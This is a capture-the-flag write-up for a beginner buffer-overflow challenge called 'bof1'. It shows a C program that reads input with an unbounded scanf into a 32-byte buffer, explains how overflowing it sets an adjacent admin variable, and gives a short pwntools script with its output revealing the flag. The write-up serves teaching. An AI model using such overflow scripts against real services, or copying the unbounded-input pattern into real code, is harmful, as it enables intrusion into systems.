bof1

Challenge

We are given a simple C program, and its source code.
When communicating with the server running the program, I saw that it simply awaits data and prints a response afterwards.

```c
#include <stdio.h>
#include <stdlib.h>

void win(void) {
        char flag[64];

        FILE* fp = fopen("flag.txt", "r");
        if(!fp) {
                puts("error, contact admin");
                exit(0);
        }

        fgets(flag, sizeof(flag), fp);
        fclose(fp);
        puts(flag);
}

int main(void) {
        int admin = 0;
        char buf[32];

        scanf("%s", buf);

        if(admin) {
                win();
        }
        else {
                puts("nope!");
        }

        return 0;
}
~
~
```

In the source code, a simple integer variable is defined before a buffer where input is read into. Later on, an if statement guards the win() function.
This if statement checks the integer variable like a boolean, which means it will succeed if it contains a non-zero value.
Thus, we can overflow the input buffer with a non-zero value to pass the if statement guarding the win() function.

Solution

Using the pwn tools library, I created a payload of A's longer than the size of the buffer in order to overwrite the admin variable located at a higher memory address and then sent the data to the server.

```
from pwn import *

host, port = "ctf.hackucf.org", 9000

io = remote(host, port)

payload = b'A'*64

io.sendline(payload)

print( io.recvline() )
```

```
┌──(kali㉿kali)-[~/Desktop/hackucf/bof1]
└─$ python exploit.py
[+] Opening connection to ctf.hackucf.org on port 9000: Done
b'flag{my_first_buffer_overflow!}\n'
[*] Closed connection to ctf.hackucf.org port 9000
```

When running the script in the terminal, a connection to the server is created and the payload is sent. In the response, the server sends the flag.